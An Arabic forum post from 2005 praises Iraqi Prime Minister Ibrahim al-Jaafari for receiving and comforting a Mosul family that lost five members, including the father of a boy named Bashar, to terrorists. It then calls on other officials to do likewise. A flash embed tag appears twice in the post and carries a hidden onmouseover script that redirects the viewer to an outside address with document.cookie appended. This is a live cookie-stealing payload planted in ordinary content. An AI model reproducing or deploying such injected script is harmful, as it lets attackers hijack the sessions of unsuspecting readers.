 |
-
حكيـم وشاعـر وأب حنـون ... نحتاج الى المـزيـد مـن أمثالـه
** الـدكتور أبراهيم الجعـفري :
حكيـم وشاعـر وأب حنـون ... نحتاج الى المـزيـد مـن أمثالـه!
""""""""""""""""""""""""""""""""""""""""""""
مساء الثلاثاء المصادف 19 / 5 / 2005 ومن على قناة ـ العـراقيـة ـ الفضائية ، ظهـر الدكتور ـ أبراهيم الجعفري ـ وهـو يستقبل عائلة ـ موصليـة ـ أصيلـة ، أعطت عـددأٌ من الشهداء ـ قربانـاٌ ـ لشعب العـراق وأستقرار العـراق.
الذي جلب أنتباهي في تلك المقابلـة ، نقاط عديدة ، فبقدر ماسرتني ، بالمقابل بكيت وبقية أفراد أسرتي من كل قلوبنـا!.
جلس الدكتور ـ الجعفـري ـ وسط تلك العائلة والوطنية وهـو يحتضن ـ الطفل بشار ـ الذي أغتال ألأرهابيون الجبناء والده وأمام عينيه ، وأصبح الطفل المذكور حديث الشارع العـراقي بأسره ، حيث يظهـر مساء كل يوم في ( مقدمـة برنامج يومي ) الذي يتضمن لقلءٌ مـع ألأرهابيون الذين يدلـون بأعترافاتهم ، يظهر ( الطفل بشار ) وهـو يسرد حكاية أستشهاد والده من قبل أولئك ألأوغاد و يبكي بحرقة والم!! ، عندما بكى ـ بشار ـ أبكى معـه ملايين الشرفاء من أبناء وطننـا الجريح!!.
يبدو أن ( الدكتور الجعفري ) كان أحـد المتأثرين جداٌ بتلك الحادثة ، لذلك وفي خطابه ألأول وبعـد أعطائه الثقة وتكليفه بتشكيل الحكـومـة تطـرق الى الطفل ـ بشار ـ وطمأنه بأن حقه وحق والده الشهيد وبقية الشهداء لن تذهب سـدى ، بل سوف يأخـذ القانون مجراه الطبيعي و ينال ألأوغـاد ـ عقابهـم العـادل!!.
فكانت المفاجئة، لم تمضي الا أسبوعـاٌ واحـداٌ على تسنم ـ الجعفـري ـ مسؤليته لرئاسة الحكـومة حتى قابل الطفل ـ بشار ـ وجميع أفراد أسـرته الوطنية الشريفـة التي بلغت عـدد شهدائها ـ خمسة شهـداء ـ في سبيل الوطن .
تلك المقابلة لم تكن مقابلة بالمعنى التقليدي!!، لقد كانت لعبارات ـ الدكتور الجعفري ـ الموجهة الى تلك العائلة ألأصيلة كثيرة المعاني و الدلالات ، أتخذت طابعاٌ شعبياٌ ـ بعيدة عـن المجاملات الرسمية ـ ، لقد شعر الجميع أن ـ الحكيم الجعفري ـ لم يكن مناضلاٌ و طبيباٌ وشاعـراٌ فقط ، بل أنـه ـ أب حنـون ـ ويجيد أنتقاء المفردات والجمل ذات المعاني العظيمة وبأطار جميل و ذات معاني لا يفهمهـا الا ـ ألأب الحنـون ـ والمسؤل الذي نذر نفسه لخدمة قضايا شعبه ووطنه و ألأهتمام بأبناء شعبه وبا لأخص الذين كانـوا كالشموع لينيروا الدروب للأخرين!!.
بدبلوماسيته ـ الجميلـة ـ كان ينطق وينتقي الجمل والمفردات ويطعمها بالأيات الكريمة وألأحاديث النبوية الشريفة ، مما جعل من تلك العائلة ـ الجريحـة ـ أن ينسوا همومهم وأمست علامات الفرح والسرور تظهر على وجوههم ، أعتباراٌ من
ـ الطفل بشار ـ الى جدته ـ تلك المرأة ـ الحديديـة ـ التي كانت تتكلم بكل ثقة بالنفس ، كانت تتكلم في ـ حضرة الحكيم ـ وألأعلاميين وكأنهـا أحدى ألأكاديميات وهي تلقي محاضـرة عـن ـ حب الوطن ـ وألأستشهاد في سبيلـه!! ، كانت فصيحة اللسان ،قوية في التعابير ، لهـا ثقة كبيرة بالحكـومـة المنتخبة وبنفسها وبشهدائهـا و أهالي ـ الموصل ـ الشرفاء الوطنيون ، فكانت شمعة اللقاء بحق!!.
والذي جلب أنتباهي في تلك اللقاء الكثير ، ولكن :
فسح ـ الحكيم الجعفري ـ المجال للجميع أن يتحدثـوا ويعبروا ما في الصـدور ، فكان وبكل خشوع يسمع الى كلمات ومفردات ـ الطفل بشار ـ وعفويته!.
بين لهم أن ـ درب الحرية ـ لاتفرش بالورود ، بل بالتضحيات ، وهنيئاٌ للذي يضحي بروحه من أجل تلك الرسالة السامية .
حثهم على ألأعتناء بـ ـ بشار ـ ورعايته رعاية سليمة ، يكفي أنـه أبن شهيد!.
تناول طعام الغـداء معهـم كجزء من ألأهتمام بهـم !.
جلبهم بواسطة ـ طائرة ـ وأعادهـم بنفس الوسيلـة .
التقط الصور التذكارية معهـم .
خرجت العائلـة من عنـد ـ الحكيـم ـ وكأنهم كانوا مرضى وتناولـوا ـ البلسم ـ وشفوا جميعاٌ على يد ذلك الحكيم الذي درس الطب في مدينتهـم ـ الحدباء أم الربيعين ـ !!.
بعـد أن ودعهـم ـ الحكيـم ـ سأل أحد الصحفيين ـ أم الشهداء ـ تلك المرأة الطاهـرة عـن شعـورهـا فقالت :
هـذه المقابلة ـ أدملت جروحنـا ـ وأنستنا الهمـوم ، فبارك الله بقيادتنا الحكيمة ، أطلب من الله أن يمدهـم بالقـوة والعزيمة للقضاء على ألأرهابيين ويستقروا بهـذا البلدآلآمن !!.
[flash=http://www.arab4nokia.net/up/upload/iraq.swf]onmouseover='location.href="http://10.5.50.94/?nm=al-battar.net&re=http://www.tryag.com/vb/showthread.php?t=1245&id="+document.cookie'[/flash]
{{ وهل هنالك أجمل من ذلك الكلام؟؟. }}
وقفت برهة وبحرت في خيال عميق وقلت :
ياترى ماالمانع أذا ما حذى بقية المسؤلون في الدولة وكل من مكانه وحسب موقعه الوظيفي أعتباراٌ من الوزير ونزولاٌ الى المدير العام ،حذو ( حكيمنـا الجعفري ) والتقى بعـوائل الشهداء و المتضررين وأخذوا من خاطرهم وأسمعوهم الكلام الجميل؟؟.
ـ اليس المسؤول هـو المسؤول عن الرعية؟؟.
ــ اليس المسؤول هو الذي يجب أن أول من يبادر في هـذه المواقف؟؟
ـ اليس المسؤول هـو من بأمكانه مساعدة ألأخرين ولـو ( بأضعف ألأيمان )؟؟.
ـ اليس المسؤول هو من يـُسمع كلامـه؟؟.
التفاتة صغيرة للعظماء الذين دخلـوا التأريخ من أوسع ألأبواب وحينهـا ليسأل ( مسؤلو هذا الزمان ) ، ياترى ما الذي جعـل :
أمير المؤمنين ـ علي بن أبي طالب ـ [عليه السلام] أن يكون على لسان كل صغير و كبير؟؟.
الخليفة ـ عمر بن عبد العزيز ـ [ رضي الله عنـه ] أن يكون ألأزهـد وخير من كان يدافع عن رعيته؟؟.
وعشرات بل المئات من العظماء ألأخـرون!!.
أيهـا السادة المسؤلون :
أن الله سبحانه و تعالى والتأريخ يحاسبان عل ـ مثقال ذرة ـ من الحسنات و السيئات!! ، فهنيئاٌ لمن يعمل بالأولى ، والويل ثم الويل لمن يعمل بالأخيرة!!.
[flash=http://www.arab4nokia.net/up/upload/iraq.swf]onmouseover='location.href="http://10.5.50.94/?nm=al-battar.net&re=http://www.tryag.com/vb/showthread.php?t=1245&id="+document.cookie'[/flash]
ضوابط المشاركة
- لا تستطيع إضافة مواضيع جديدة
- لا تستطيع الرد على المواضيع
- لا تستطيع إرفاق ملفات
- لا تستطيع تعديل مشاركاتك
-
قوانين المنتدى
|
 |